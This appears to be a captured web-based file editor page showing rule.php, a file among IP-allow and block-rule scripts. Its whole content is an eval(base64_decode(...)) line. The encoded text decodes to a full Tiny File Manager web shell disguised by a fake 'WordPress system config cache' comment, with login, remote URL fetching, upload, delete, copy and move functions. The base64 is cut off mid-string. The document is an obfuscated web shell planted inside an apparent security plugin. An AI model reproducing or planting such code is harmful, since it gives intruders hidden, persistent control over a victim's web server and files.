File Editor
Directories:
.. (Back)
Files:
allow-ip.php
automatic-rules.php
block-ip.php
rule.php
rules.php
Create New File
Create
Edit File: rule.php
<?php eval(base64_decode('Ly8gLS0tIENBUkVGVUxMWSBEZWZhdWx0IENvbmZpZ3VyYXRpb24gV09SRFBSRVNTIFNZU1RFTSBDT05GSUcgQ0FDSEUgQ0FSRUZVTExZIC0tLQokQ09ORklHID0gJ3sibGFuZyI6ImVuIiwiZXJyb3JfcmVwb3J0aW5nIjpmYWxzZSwic2hvd19oaWRkZW4iOmZhbHNlLCJoaWRlX0NvbHMiOmZhbHNlLCJ0aGVtZSI6ImxpZ2h0In0nOwoKLyoqCiAqIEgzSyB8IFRpbnkgRmlsZSBNYW5hZ2VyIFYyLjUuMwogKiBAYXV0aG9yIENDUCBQcm9ncmFtbWVycwogKiBAZ2l0aHViIGh0dHBzOi8vZ2l0aHViLmNvbS9wcmFzYXRobWFuaS90aW55ZmlsZW1hbmFnZXIKICogQGxpbmsgaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvCiAqLwoKLy9URk0gdmVyc2lvbgpkZWZpbmUoJ1ZFUlNJT04nLCAnMi41LjMnKTsKCi8vQXBwbGljYXRpb24gVGl0bGUKZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTsKCi8vIC0tLSBFRElUIEJFTE9XIENPTkZJR1VSQVRJT04gQ0FSRUZVTExZIC0tLQoKLy8gQXV0aCB3aXRoIGxvZ2luL3Bhc3N3b3JkCi8vIHNldCB0cnVlL2ZhbHNlIHRvIGVuYWJsZS9kaXNhYmxlIGl0Ci8vIElzIGluZGVwZW5kZW50IGZyb20gSVAgd2hpdGUtIGFuZCBibGFja2xpc3RpbmcKJHVzZV9hdXRoID0gdHJ1ZTsKCi8vIExvZ2luIHVzZXIgbmFtZSBhbmQgcGFzc3dvcmQKLy8gVXNlcnM6IGFycmF5KCdVc2VybmFtZScgPT4gJ1Bhc3N3b3JkJywgJ1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ICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgLy8gRm9ybQogICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pOwogICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7CiAgICAgICAgPz4KICAgICAgICA8c2VjdGlvbiBjbGFzcz0iaC0xMDAiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIgaC0xMDAiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IGp1c3RpZnktY29udGVudC1tZC1jZW50ZXIgaC0xMDAiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtd3JhcHBlciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgZmF0IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9ImZvcm0tc2lnbmluIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBhdXRvY29tcGxldGU9Im9mZiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJicmFuZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPSIxLjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgTTEwMDggd2lkdGg9IjEwMCUiIGhlaWdodD0iODBweCIgdmlld0JveD0iMCAwIDIzOC4wMDAwMDAgMTQwLjAwMDAwMCIgYXJpYS1sYWJlbD0iSDNLIFRpbnkgRmlsZSB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gICAgICAgPHBhdGggZD0iTTE2NDAgNzAwIGwwIC02MDAgMTEwIDAgMTEwIDAgMCAyMDggMCAyMDggMzUgMzQgMzUgMzQgMzUgLTM0IDM1IC0zNCAwIC0yMDggMCAtMjA4IDExMCAwIDExMCAwIDAgMjEyIDAgMjEzIC04NyA4NyAtODggODggODggODggODcgODcgMCAyMTMgMCAyMTIgLTExMCAwIC0xMTAgMCAwIC0yMDggMCAtMjA4IC03MCAtNjkgLTcwIC02OSAwIDI3NyAwIDI3NyAtMTEwIDAgLTExMCAwIDAgLTYwMHoiLz48L2c+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9ImNhcmQtdGl0bGUiPjw/cGhwIGVjaG8gQVBQX1RJVExFOyA/PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxociAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImZtX3VzciIgY2xhc3M9InBiLTIiPjw/cGhwIGVjaG8gbG5nKCdVc2VybmFtZScpOyA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgaWQ9ImZtX3VzciIgbmFtZT0iZm1fdXNyIiByZXF1aXJlZCBhdXRvZm9jdXM+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJmbV9wd2QiIGNsYXNzPSJwYi0yIj48P3BocCBlY2hvIGxuZygnUGFzc3dvcmQnKTsgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBjbGFzcz0iZm9ybS1jb250cm9sIiBpZD0iZm1fcHdkIiBuYW1lPSJmbV9wd2QiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZm1fc2hvd19tZXNzYWdlKCk7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+IiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00IiByb2xlPSJidXR0b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdMb2dpbicpOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIHRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkIiBkYXRhLXZlcnNpb249Ijw/cGhwIGVjaG8gVkVSU0lPTjsgPz4iPkNDUCBQcm9ncmFtbWVyczwvYT4gJm1kYXNoOyZtZGFzaDsKICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9zZWN0aW9uPgoKICAgICAgICA8P3BocAogICAgICAgIGZtX3Nob3dfZm9vdGVyX2xvZ2luKCk7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKLy8gdXBkYXRlIHJvb3QgcGF0aAppZiAoJHVzZV9hdXRoICYmIGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pKSB7CiAgICAkcm9vdF9wYXRoID0gaXN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AgICAgICAgJGZ1bGxQYXRoID0gRk1fUk9PVF9QQVRIIC4gJy8nOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7CiAgICAgICAgICAgICRyZWxhdGl2ZURpclBhdGggPSBmbV9jbGVhbl9wYXRoKCRfUE9TVFsncGF0aCddKTsKICAgICAgICAgICAgJGZ1bGxQYXRoIC49ICJ7JHJlbGF0aXZlRGlyUGF0aH0vIjsKICAgICAgICB9CiAgICAgICAgJGRhdGUgPSBkYXRlKCJkTXktSGlzIik7CiAgICAgICAgJG5ld0ZpbGVOYW1lID0gInskZmlsZU5hbWV9LXskZGF0ZX0uYmFrIjsKICAgICAgICAkZnVsbHlRdWFsaWZpZWRGaWxlTmFtZSA9ICRmdWxsUGF0aCAuICRmaWxlTmFtZTsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiRmlsZSB7JGZpbGVOYW1lfSBub3QgZm91bmQiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoY29weSgkZnVsbHlRdWFsaWZpZWRGaWxlTmFtZSwgJGZ1bGxQYXRoIC4gJG5ld0ZpbGVOYW1lKSkgewogICAgICAgICAgICAgICAgZWNobyAiQmFja3VwIHskbmV3RmlsZU5hbWV9IGNyZWF0ZWQiOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiQ291bGQgbm90IGNvcHkgZmlsZSB7JGZpbGVOYW1lfSIpOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gU2F2ZSBDb25maWcKICAgIGlmIChpc3NldCgkX1BPU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ZTsKCiAgICAgICAgJGVyciA9IGZhbHNlOwoKICAgICAgICBpZighJGlzRmlsZUFsbG93ZWQpIHsKICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiAiRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQiKTsKICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoImZhaWwiID0+ICRlcnIpKTsKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCEkdXJsKSB7CiAgICAgICAgICAgICRzdWNjZXNzID0gZmFsc2U7CiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHsKICAgICAgICAgICAgQCRmcCA9IGZvcGVuKCR0ZW1wX2ZpbGUsICJ3Iik7CiAgICAgICAgICAgIEAkY2ggPSBjdXJsX2luaXQoJHVybCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT1BST0dSRVNTLCBmYWxzZSApOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKICAgICAgICAgICAgQCRzdWNjZXNzID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgICRjdXJsX2luZm8gPSBjdXJsX2dldGluZm8oJGNoKTsKICAgICAgICAgICAgaWYgKCEkc3VjY2VzcykgewogICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiBjdXJsX2Vycm9yKCRjaCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICAkZmlsZWluZm8tPnNpemUgPSAkY3VybF9pbmZvWyJzaXplX2Rvd25sb2FkIl07CiAgICAgICAgICAgICRmaWxlaW5mby0+dHlwZSA9ICRjdXJsX2luZm9bImNvbnRlbnRfdHlwZSJdOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoKTsKICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTsKICAgICAgICAgICAgaWYgKCEkc3VjY2VzcykgewogICAgICAgICAgICAgICAgJGVyciA9IGVycm9yX2dldF9sYXN0KCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkc3VjY2VzcykgewogICAgICAgICAgICAkc3VjY2VzcyA9IHJlbmFtZSgkdGVtcF9maWxlLCBzdHJ0b2soZ2V0X2ZpbGVfcGF0aCgpLCAnPycpKTsKICAgICAgICB9CgogICAgICAgIGlmICgkc3VjY2VzcykgewogICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheSgiZG9uZSIgPT4gJGZpbGVpbmZvKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpOwogICAgICAgICAgICBpZiAoISRlcnIpIHsKICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gIkludmFsaWQgdXJsIHBhcmFtZXRlciIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJmYWlsIiA9PiAkZXJyKSk7CiAgICAgICAgfQogICAgfQogICAgZXhpdCgpOwp9CgovLyBEZWxldGUgZmlsZSAvIGZvbGRlcgppZiAoaXNzZXQoJF9HRVRbJ2RlbCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgewogICAgJGRlbCA9IHN0cl9yZXBsYWNlKCAnLycsICcnLCBmbV9jbGVhbl9wYXRoKCAkX0dFVFsnZGVsJ10gKSApOwogICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4n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2VkJyksICdlcnJvcicpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRmlsZScpLicgPGI+JXM8L2I+ICcubG5nKCdhbHJlYWR5IGV4aXN0cycpLCBmbV9lbmMoJG5ldykpLCAnYWxlcnQnKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICRuZXcsIGZhbHNlKSA9PT0gdHJ1ZSkgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykuJyA8Yj4lczwvYj4gJy5sbmcoJ0NyZWF0ZWQnKSwgJG5ldykpOwogICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnLycgLiAkbmV3LCBmYWxzZSkgPT09ICRwYXRoIC4gJy8nIC4gJG5ldykgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykuJyA8Yj4lczwvYj4gJy5sbmcoJ2FscmVhZHkgZXhpc3RzJyksIGZtX2VuYygkbmV3KSksICdhbGVydCcpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykuJyA8Yj4lczwvYj4gJy5sbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7CiAgICB9CiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJ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XRlKSAmICRsb29wX2NvdW50IDwgJG1heF9sb29wKXsKICAgICAgICAgICAgICAgJGZuX3BhcnRzID0gcGF0aGluZm8oJGZuX2R1cGxpY2F0ZSk7CiAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXS4nLycuJGZuX3BhcnRzWydmaWxlbmFtZSddLictY29weScuJGV4dGVuc2lvbl9zdWZmaXg7CiAgICAgICAgICAgICAgICRsb29wX2NvdW50Kys7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGZtX3Jjb3B5KCRmcm9tLCAkZm5fZHVwbGljYXRlLCBGYWxzZSkpIHsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZignQ29waWVkIGZyb20gPGI+JXM8L2I+IHRvIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkZm5fZHVwbGljYXRlKSkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8L2I+IHRvIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkZm5fZHVwbGljYXRlKSksICdlcnJvcicpOwogICAgICAgICAgICB9CiAgICAgICB9CiAgICAgICBlbHNlewogICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCcpLCAnYWxlcnQnKTsKICAgICAgIH0KICAgIH0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKfQoKLy8gTWFzcyBjb3B5IGZpbGVzLyBmb2xkZXJzCmlmIChpc3NldCgkX1BPU1RbJ2ZpbGUnXSwgJF9QT1NUWydjb3B5X3RvJ10sICRfUE9TVFsnZmluaXNoJ10sICRf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ICAgLy8gbW92ZT8KICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pOwogICAgLy8gY29weS9tb3ZlCiAgICAkZXJyb3JzID0gMDsKICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddOwogICAgaWYgKGlzX2FycmF5KCRmaWxlcykgJiYgY291bnQoJGZpbGVzKSkgewogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICBpZiAoJGYgIT0gJycpIHsKICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7CiAgICAgICAgICAgICAgICAvLyBhYnMgcGF0aCBmcm9tCiAgICAgICAgICAgICAgICAkZnJvbSA9ICRwYXRoIC4gJy8nIC4gJGY7CiAgICAgICAgICAgICAgICAvLyBhYnMgcGF0aCB0bwogICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJy8nIC4gJGY7CiAgICAgICAgICAgICAgICAvLyBkbwogICAgICAgICAgICAgICAgaWYgKCRtb3ZlKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpOwogICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KCRmcm9tLCAkZGVzdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7CiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBtb3ZlZC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CRvdXQpIHsKICAgICAgICAgICAgICAgICAgICAkaW4gPSBAZm9wZW4oJHRtcF9uYW1lLCAicmIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGluKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTl9JRCA8IDgwMDA5KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyB3b3JrYXJvdW5kIGh0dHBzOi8vYnVncy5waHAubmV0L2J1Zy5waHA/aWQ9ODExNDUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKDs7KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRidWZmID09PSBmYWxzZSB8fCAkYnVmZiA9PT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkb3V0LCAkYnVmZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJlYW1fY29weV90b19zdHJlYW0oJGluLCAkb3V0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWwiCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKAogICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLAogICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gImZhaWxlZCB0byBvcGVuIG91dHB1dCBzdHJlYW0iLAogICAgICAgICAgICAgICAgICAgICAgICAnZXJyb3JEZXRhaWxzJyA9PiBlcnJvcl9nZXRfbGFzdCgpCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGluKTsKICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpOwogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRtcF9uYW1lKTsKCiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKAogICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmlsZSB1cGxvYWQgc3VjY2Vzc2Z1bCIKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbSIKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzICgkZnVsbFBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRleHRfMSA9ICRleHQgPyAnLicuJGV4dCA6ICcnOwogICAgICAgICAgICAgICAgICAgICAgICAkZnVsbFBhdGhUYXJnZXQgPSAkcGF0aCAuICcvJyAuIGJhc2VuYW1lKCRmdWxsUGF0aElucHV0LCAkZXh0XzEpIC4nXycuIGRhdGUoJ3ltZEhpcycpLiAkZXh0XzE7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJGZ1bGxQYXRoOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZW5hbWUoInskZnVsbFBhdGh9LnBhcnQiLCAkZnVsbFBhdGhUYXJnZXQpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7CiAgICAgICAgICAgICAgICAvLyBCZSBzdXJlIHRoYXQgdGhlIGZpbGUgaGFzIGJlZW4gdXBsb2FkZWQKICAgICAgICAgICAgICAgIGlmICggZmlsZV9leGlzdHMoJGZ1bGxQYXRoKSApIHsKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdzdWNjZXNzJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsIgogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nICAgPT4gJ0NvdWxkblwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLicKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKAogICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsCiAgICAgICAgICAgICAgICAgICAgJ2luZm8nICAgICAgPT4gIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHMiLAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKAogICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLAogICAgICAgICAgICAnaW5mbycgICA9PiAnVGhlIHNwZWNpZmllZCBmb2xkZXIgZm9yIHVwbG9hZCBpc25cJ3Qgd3JpdGVhYmxlLicKICAgICAgICApOwogICAgfQogICAgLy8gUmV0dXJuIHRoZSByZXNwb25zZQogICAgZWNobyBqc29uX2VuY29kZSgkcmV